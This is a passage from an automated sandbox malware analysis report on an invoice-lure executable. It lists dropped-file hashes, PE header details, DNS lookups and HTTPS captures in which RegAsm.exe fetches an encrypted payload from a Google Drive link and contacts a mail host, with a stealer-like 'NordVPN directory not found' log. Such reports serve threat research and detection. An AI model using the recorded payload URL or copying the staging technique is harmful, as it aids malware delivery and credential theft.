File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 53072304

Entropy (8bit): 7.997563930648501

Encrypted: true

SSDEEP: 1572864:P0U1SslLDBQpTRKb0o76I0RUgRS2uc62zNWPy:P0UplL2tRW0aV0RpS2lTey

MD5: 0157CF1D00DB2F06270440CED26AD2DA

SHA1: E0DA67E235AF6B8DDBA9736504E7638BFF4DB4B0

SHA-256: 15C43FFD2F73BA5E6A0E0A3B845A6FD61EE9E12220C0D98CBDB9E59D6E188914

SHA-512: 0264329D824734BC9BFE3129E4653E5293EFC96555EE98909DD19B37A010747C6368247784972AE478DBC16EF5E031FF99A283CF371F21278DBCE9E94DABAAC5
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https://www.metadefender.com/#!/results/file/bzIxMTAwOHVJb1hGeDAyYk5BaUU3U0ZMNFE/regular/analysis
https://view.joesandbox.com/analysis/393586/html/none
https://view.joesandbox.com/analysis/393406/html/none
https://view.joesandbox.com/analysis/393356/html/none
https://view.joesandbox.com/analysis/392505/html/none
https://view.joesandbox.com/analysis/391857/html/none
https://view.joesandbox.com/analysis/391643/html/none
https://view.joesandbox.com/analysis/388309/html/none
https://view.joesandbox.com/analysis/388218/html/none
https://view.joesandbox.com/analysis/388207/html/none
https://view.joesandbox.com/analysis/387496/html/none
https://view.joesandbox.com/analysis/387360/html/none
https://view.joesandbox.com/analysis/386888/html/none
https://view.joesandbox.com/analysis/386876/html/none
https://view.joesandbox.com/analysis/386649/html/none
https://view.joesandbox.com/analysis/386548/html/none
https://view.joesandbox.com/analysis/386069/html/none
https://view.joesandbox.com/analysis/385950/html/none


Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........)...........
....................................).......)...`.......................................................... ....)...........)..!...........................................................................................rdata..p...........................@..@.r
src.....).. ....).................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...)..rsrc$02.....................................................................................
..............................................................................................................................................................................................................................................................................
.........................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpasbase.vdm

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpasdlta.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 590768

Entropy (8bit): 7.995607164320088

Encrypted: true

SSDEEP: 12288:jelAo91I34Dl7OSom9zYukvli2CtLTN0dEyG/ryzIAg2Y8i+Mm:iGGRhOoJYq2CtL6G/rCj9Mm

MD5: D3D8F863952CE10ADE4319482D4A5B28

SHA1: F655FC23421E4EEDCD18AEBF8FB6E9F439BC686F

SHA-256: B4EE6BF3E98991CADB83614425214C45883C7E6C924562A55E3D4B25E69A6A62

SHA-512: C6199B6108B6CB8FE428DD5E3AE7BB19D58E182DFA5DEF87921630D29BEC5E0CA057CA6DD0872058ADC0D0EBAA98B0295A8780AE74400B6A33C38E5EB38B8
BB5

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.... ea.........." ......................
...........................................+....`.......................................................... ...................!...........................................................................................rdata..p...........................@..@.r
src........ ......................@..@..... ea........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ..X....rsrc$02....................................................................................
..............................................................................................................................................................................................................................................................................
..........................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpavbase.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\MpSigStub.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 55848880

Entropy (8bit): 7.995585481148423

Encrypted: true

SSDEEP: 1572864:iy6w1liQqicAsNBasl5IY/hOO0S7WGB9F9L4hxZB:B6uiQqiTE8kIYJn+wFZ4XB

MD5: 7E2B83A39CC26B2B617F404A89B6661C

SHA1: 198F9D59A90993247182EE11AE33AB52E5011C44

SHA-256: 8ED02ED1D817FA7B68466F11F55A2289D82BDD22A360246624BA0F9220D17EE3

SHA-512: BF29A223DFF577DB8967DBEA610DC6DB2D6C0152A896E8BCC851EB67E84AF5367E4A01AC6110554C2813E974EBA9B8C04C2EB03422DCCDE00B1FA8D7F629C5
5F

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........T...........
...................................0T.......T...`.......................................................... ..@.T...........T..!...........................................................................................rdata..p.......................
....@..@.rsrc...@.T.. ....T.................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ....T..rsrc$02................................................................
..............................................................................................................................................................................................................................................................................
..............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpavdlta.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: modified

Size (bytes): 235440

Entropy (8bit): 7.989341625913562

Encrypted: false

SSDEEP: 3072:d3zk2No0flLXRzgF5+8/ofRoVjzx6/G2P4ddYRS848A6RqxC4UPJGCsYjBWW:dkV0dA+8co0GWm4dk6ROCJPJG+BWW

MD5: C5974E8FEC38D3E17E0D6DC44D69B397

SHA1: 24640A78C49B2CCDF418D2164406FD528F5DF7B6

SHA-256: 653C1A629CEA89264D0BAF8BC5526E27D301FD700D78CA57D1B2F403C669EE3E

SHA-512: 56E393FED8C0D69DB251FB7E6BA450D887D0568757301565EDF121C37250898ECB68264CA5E2077BB7E71103B0BF04F9638CD092B12519D92412F0743AD89F30

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 5.864427344075375

TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: FAKTURA I PARAGONY.exe

File size: 102400

MD5: 0277ce10266c718b31d46a622acf1a43

SHA1: f9a05406e2407434e5359a8757d6f2bf0166b20e

SHA256: 1113efa42a416df493d712368060e751482e644c13f6c11
5a507ff001a322724

SHA512: d95b4f43700508396a222d44e184846e5d48d3d6890899
341c071d1be0d0c4bc29eb3a8aaae04127fad1e575bcaa
4570cd556be0399404ba86abca357b3c1ff4

SSDEEP: 1536:tSDzKtMbun1t/WkXDEMlkZk7+QqwshFka4vrQD7
ni6D:tSfqPzoUp+QshetC7i6

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.... ea.........." .........t............
........................................... ....`.......................................................... ..pp...........v...!...........................................................................................rdata..p...........................@..@.r
src...pp... ...r..................@..@..... ea........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...o...rsrc$02....................................................................................
..............................................................................................................................................................................................................................................................................
..........................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpavdlta.vdm

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpSigStub.log
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\MpSigStub.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF, CR line terminators

Category: modified

Size (bytes): 10420

Entropy (8bit): 3.427461400203551

Encrypted: false

SSDEEP: 96:BnwD21YmA2KxoZvHoBQE0KAK3ERK5W7i1zBe0KAK3ERK5Wgvdikynvz5fsDXycc:xshD2Kx0HosrcERohrrcERorzyrBs23

MD5: BC7558BEEF83A62D1C0384D161F8BFA8

SHA1: B1706CF275610F7D51A16D847EE2B2335FE8184F

SHA-256: D51C3268988C2168A03A323EFA1D47171BB5A833AB06F5F9CC96FE351DFF93DE

SHA-512: C39DBAEF1E6B87EE9E3F57373FA782147A135BD9796032B1C72020AC49B667B9AF6EE8DCB088E14440B7D6452F5479C0362B5C715744B1A7D3F88A75C479EA45

Malicious: false

Preview:
..-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....S.t.a.r.t. .t.i.m.e.:. .2.0.2.1.-.1.0.-.1.2. .1.5.:.4.1.:.5.0.Z.
....P.r.o.c.e.s.s.:. .1.b.d.0...1.d.7.b.f.7.f.a.c.8.9.6.9.f.b.....C.o.m.m.a.n.d.:. ./.s.t.u.b. .1...1...1.8.5.0.0...1.0. ./.p.a.y.l.o.a.d. .1...3.5.1...2.6.5...0. ./.p.r.o.g.r.a.m. .C.:.\.W.i.n.d.o.w.
s.\.S.E.R.V.I.C.~.1.\.N.E.T.W.O.R.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.m.p.a.m.-.5.1.0.4.1.e.9.8...e.x.e. ./.q. .W.D.....A.d.m.i.n.i.s.t.r.a.t.o.r.:. .n.o.....V.e.r.s.i.o.n.:. .1...1.
..1.8.5.0.0...1.0.........=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=. .P.r.o.d.u.c.t.S.e.a.r.c.h. .=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.
=.=.=......... . . . . . . . . . . . . . . .M.i.c.r.o.s.o.f.t. .W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r. .(.R.S.1.+.).:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .S.t.a.t.u.

\Device\ConDrv
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EF0FC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591

SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532

Malicious: false

Preview:
NordVPN directory not found!..

Copyright Joe Security LLC 2021 Page 26 of 70



File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........i............
...........*..............Rich....................PE..L...>U=T...............
..P...0......x........`....@........

General

File Icon

Icon Hash: 69e1c892f664c884

General
Entrypoint: 0x401378

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x543D553E [Tue Oct 14 16:54:22 2014 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 669316531b5190f02843878b6ed87394

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x147f8 0x15000 False 0.504417782738 data 6.30107135382 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x16000 0xd0c 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x17000 0x1cba 0x2000 False 0.348876953125 data 3.77024898277 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin
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Network Port Distribution

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 12, 2021 16:35:50.280833960 CEST 192.168.11.20 1.1.1.1 0x356e Standard query 
(0)

drive.google.com A (IP address) IN (0x0001)

Oct 12, 2021 16:35:51.036583900 CEST 192.168.11.20 1.1.1.1 0x14ce Standard query 
(0)

doc-00-88-
docs.googl
eusercontent.com

A (IP address) IN (0x0001)

Oct 12, 2021 16:37:27.012191057 CEST 192.168.11.20 1.1.1.1 0x9210 Standard query 
(0)

mail.tccin
faes.com

A (IP address) IN (0x0001)

Oct 12, 2021 16:37:28.024907112 CEST 192.168.11.20 1.1.1.1 0x6ada Standard query 
(0)

x1.i.lencr.org A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 12, 2021 
16:35:50.301955938 
CEST

1.1.1.1 192.168.11.20 0x356e No error (0) drive.goog
le.com

172.217.168.46 A (IP address) IN (0x0001)

Oct 12, 2021 
16:35:51.046997070 
CEST

1.1.1.1 192.168.11.20 0x14ce No error (0) doc-00-88-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 12, 2021 
16:35:51.046997070 
CEST

1.1.1.1 192.168.11.20 0x14ce No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.185.161 A (IP address) IN (0x0001)

Oct 12, 2021 
16:37:27.293019056 
CEST

1.1.1.1 192.168.11.20 0x9210 No error (0) mail.tccin
faes.com

tccinfaes.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 12, 2021 
16:37:27.293019056 
CEST

1.1.1.1 192.168.11.20 0x9210 No error (0) tccinfaes.com 188.93.227.195 A (IP address) IN (0x0001)

Oct 12, 2021 
16:37:28.034893036 
CEST

1.1.1.1 192.168.11.20 0x6ada No error (0) x1.i.lencr.org crl.root-
x1.letsencrypt.org.edgeke
y.net

CNAME 
(Canonical 
name)

IN (0x0001)

            
drive.google.com

            
doc-00-88-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49785 172.217.168.46 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-12 14:35:50 UTC 0 OUT GET /uc?export=download&id=1VrytxuZ5ywXyvS_VdIFbNuH61tX5mQ4u HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2021-10-12 14:35:50 UTC 0 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 12 Oct 2021 14:35:50 GMT
Location: https://doc-00-88-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/9gljef6k
ikngnm2hs1ehcuq6imn5jtp3/1634049300000/00014782062933200622/*/1VrytxuZ5ywXyvS_VdIFbNuH61tX5mQ4u?e=do
wnload
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'nonce-z+YriJyAGtlG7ri72yDjKg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: NID=511=vDyPGg6HyaafQXtSzkh9HZU5AZKX4V7olV_nLdD6g4d0yM0Ot_dJNQUuDAHWbTIoqkTs7P
qsxTzqifALuvjEJLJkXsFZee-lArZKo8hZ-KCvQcxDB1-0wBUWw2oyGvvxEP7EeyFkIuDbKj3seUZA07gpHqIaMa0_
LSClw63POwk; expires=Wed, 13-Apr-2022 14:35:50 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
e
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-10-12 14:35:50 UTC 1 IN Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 30 2d 38 38 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 
66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 39 67 6c 6a 
Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-88-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/9glj

2021-10-12 14:35:50 UTC 1 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49786 142.250.185.161 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-12 14:35:51 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/9gljef6kikngnm2hs1ehcuq6imn5jtp3/1634049300000/0
0014782062933200622/*/1VrytxuZ5ywXyvS_VdIFbNuH61tX5mQ4u?e=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-00-88-docs.googleusercontent.com
Connection: Keep-Alive
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2021-10-12 14:35:51 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycdvWRcSX7LkHLpcnRaBJFwwcalrM1cXYMT2SEMmlylz55sZit0E3mV09IVGKBOjm
01bsidlrDP16xp1gqD5jEi4
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, 
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, 
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, 
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS
Content-Type: application/octet-stream
Content-Disposition: attachment;filename="KEV-LOG_gNNqvwvBuU104.bin";filename*=UTF-8''KEV-LOG_gNNqvw
vBuU104.bin
Content-Length: 221760
Date: Tue, 12 Oct 2021 14:35:51 GMT
Expires: Tue, 12 Oct 2021 14:35:51 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=LlDGKA==
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-10-12 14:35:51 UTC 5 IN Data Raw: a0 d8 27 55 d5 d2 29 c2 46 06 2a b6 05 4d f5 2b bc 04 29 ec 09 df d4 d0 5f 47 c3 c7 77 c3 04 38 3c 4b ea 35 13
84 29 e7 49 24 86 5d b4 4c 2d b7 31 c9 54 4e eb 99 c1 4a 64 b0 6c 3b ea fc 9e 6c ce 97 0f a1 8c 3c 45 01 f2 6a b1 4a 4f 
c1 8b 46 a3 c3 8f bf 00 1a 3a 27 bf d1 6c 3b 35 7d d5 0d 1c 00 b8 07 cd 09 1d 16 bb 38 39 4a 5f d7 a0 3d 8c b0 24 99 60 
0d b0 48 fe f6 d1 24 08 95 69 6b e6 6f 8d 49 1b eb de 24 cc 6a 39 9a 21 77 9d 6e 8a 5a fc 20 c4 ef c7 67 0e a0 d8 c6 d5 
fa 9d 43 ba d5 1c 51 13 d2 75 eb 92 c2 b4 39 ad 71 49 14 42 53 5d 1d 25 de e7 cd fd 28 89 69 29 7b dd a3 99 f5 4a 1b 41 
87 ab 25 4f 91 2c cd 06 82 0c 80 90 16 a3 36 88 0b 1f 95 3b 94 65 00 97 ff 87 29 8a ad f8 00 de 9b f4 f3 cb c1 9e d1 c1 52 
00 44 39 93 c8 4c b8 79 8a 0b 77 0c f9 9b 6a 76 ad 
Data Ascii: 'U)F*M+)_Gw8<K5)I$]L-1TNJdl;l<EjJOF:'l;5}89J_=$`H$ikoI$j9!wnZ gCQu9qIBS]%(i){JA%O,6;e)RD9Lywjv

2021-10-12 14:35:51 UTC 9 IN Data Raw: f4 3c 74 ad 35 e5 f8 a2 f0 09 62 50 c3 54 95 89 cb 8a 81 ff ad 05 10 aa 53 3a 14 9f 3d ab cc c3 a7 c9 fc 16 a3 
58 ba c9 b3 76 ef 8d 98 6e 14 41 93 ee e9 c2 b8 bc 62 85 c4 e0 d0 f2 54 32 4b 60 ad 29 01 6e 30 e1 d5 50 6f 4c 95 82 79 
26 a5 50 21 5f 78 2f 26 db d1 d4 4b b0 1c eb 32 b4 17 2d ab 2e 8f dd 2f 3b 6e ab 6b 89 ed 7f 2f db 98 ea 2b 15 ab 75 aa 
47 7f 83 07 48 62 73 98 2d 3e e8 14 91 ab c6 4c 28 66 bf f4 a3 16 04 83 e1 73 9d 37 88 f0 62 0a 52 30 f8 52 e7 b3 ee 56 
f7 6a e1 b2 2f fa 1d 44 f1 66 c5 20 9d f9 5d 4d 57 5f e0 b7 3c d8 79 c8 64 65 d7 f4 0b 33 79 a6 56 98 72 86 a8 1f 7d 97 63 
63 57 74 b1 db a0 65 ee 2c 71 10 3f e9 51 d8 6a 0a 61 57 8e 05 7e ff 75 39 86 36 6c d7 78 ef ce 18 39 2f 0a 4e 08 66 2c 
92 aa 42 06 2b 0b 63 98 97 db e3 0b 30 0c 03 69 74 
Data Ascii: <t5bPTS:=XvnAbT2K`)n0PoLy&P!_x/&K2-./;nk/+uGHbs->L(fs7bR0RVj/Df ]MW_<yde3yVr}ccWte,q?Qja
W~u96lx9/Nf,B+c0it

2021-10-12 14:35:51 UTC 13 IN Data Raw: 01 11 75 73 f6 29 dd 18 90 d3 48 59 0a 6c 29 85 e2 89 7f 53 87 aa 4e fe f7 da 71 17 c1 f7 f1 41 2c 77 50 39 b3 
f5 61 be 11 32 00 12 3f d8 8e 8a 31 08 d9 7e f0 02 ac d2 5e ec 55 82 80 bb 23 76 e1 f2 a4 fb 79 6c 34 95 87 83 cc a4 cc 
9c df 04 69 29 c4 9f 68 ce b1 96 fb 21 df e4 0b 38 3b cb 09 e5 3c b8 78 cd 0f dd 01 03 9b ba 08 4b 54 9e 0c d4 eb c2 c5 
be da 3a 01 08 75 35 a2 5c 3b 36 1e 2c de 75 d0 95 60 e9 3f 8a 20 c6 cf b6 3e 3a 5a 4d 8a 24 0b f3 dd 91 f3 66 43 09 ae 
f7 a4 e8 09 07 da 2b 7c 3b 48 70 cd 1f f7 8a ed 21 45 ae c5 57 46 0c 36 29 c9 53 e6 11 11 2e 2c a2 2d 43 6f ad da 09 b1 
2a 5a 24 63 2d 79 e9 2e 95 a1 1e 98 e3 09 fd 64 65 4f 47 55 18 a8 83 bc d9 81 ae 59 a0 3e 74 6a fd c3 87 5b 97 de a6 5c 
50 30 b4 34 5d b2 7f 44 92 cd 27 73 e1 3f fa 1a 4d ae 
Data Ascii: us)HYl)SNqA,wP9a2?1~^U#vyl4i)h!8;<xKT:u5\;6,u`? >:ZM$fC+|;Hp!EWF6)S.,-Co*Z$c-y.deOGUY>tj[\P04]D's?
M

2021-10-12 14:35:51 UTC 16 IN Data Raw: f0 38 43 f0 5e b6 9e 52 c9 f8 b4 ac e6 39 62 1f 4f d9 87 22 c8 90 c7 30 a1 d4 26 d1 21 e9 2f 85 4f 84 79 b8 39 
dd c4 b7 b9 ed 64 a5 68 ed 72 38 2c f1 86 ca 9d 4a b0 70 4e bb ea 83 21 64 25 48 05 a3 2b 71 7d 51 d0 0b 6b 83 05 c2 0c 
58 ca 9f 1c d0 23 07 cb 58 b3 8b 10 1a 5f d9 91 d0 04 76 c4 34 ca d1 a9 8a ec 3c ff e1 3a b1 06 c1 6b b3 b3 90 83 fe 78 
73 29 e8 fd b6 eb dc c9 d2 42 17 56 92 7b a4 26 8a 42 a4 90 bc b3 4b 5a ca 96 99 fd 94 aa 06 fa 89 08 22 d0 40 ec 9d db 
f6 5c d5 46 eb c1 a9 82 e9 0b 9b 64 2b 3b 82 3b 99 74 5b 71 f0 1b 2a 65 d7 83 c7 df 2a 8f 3c 45 10 f3 42 da 48 b0 38 a3 
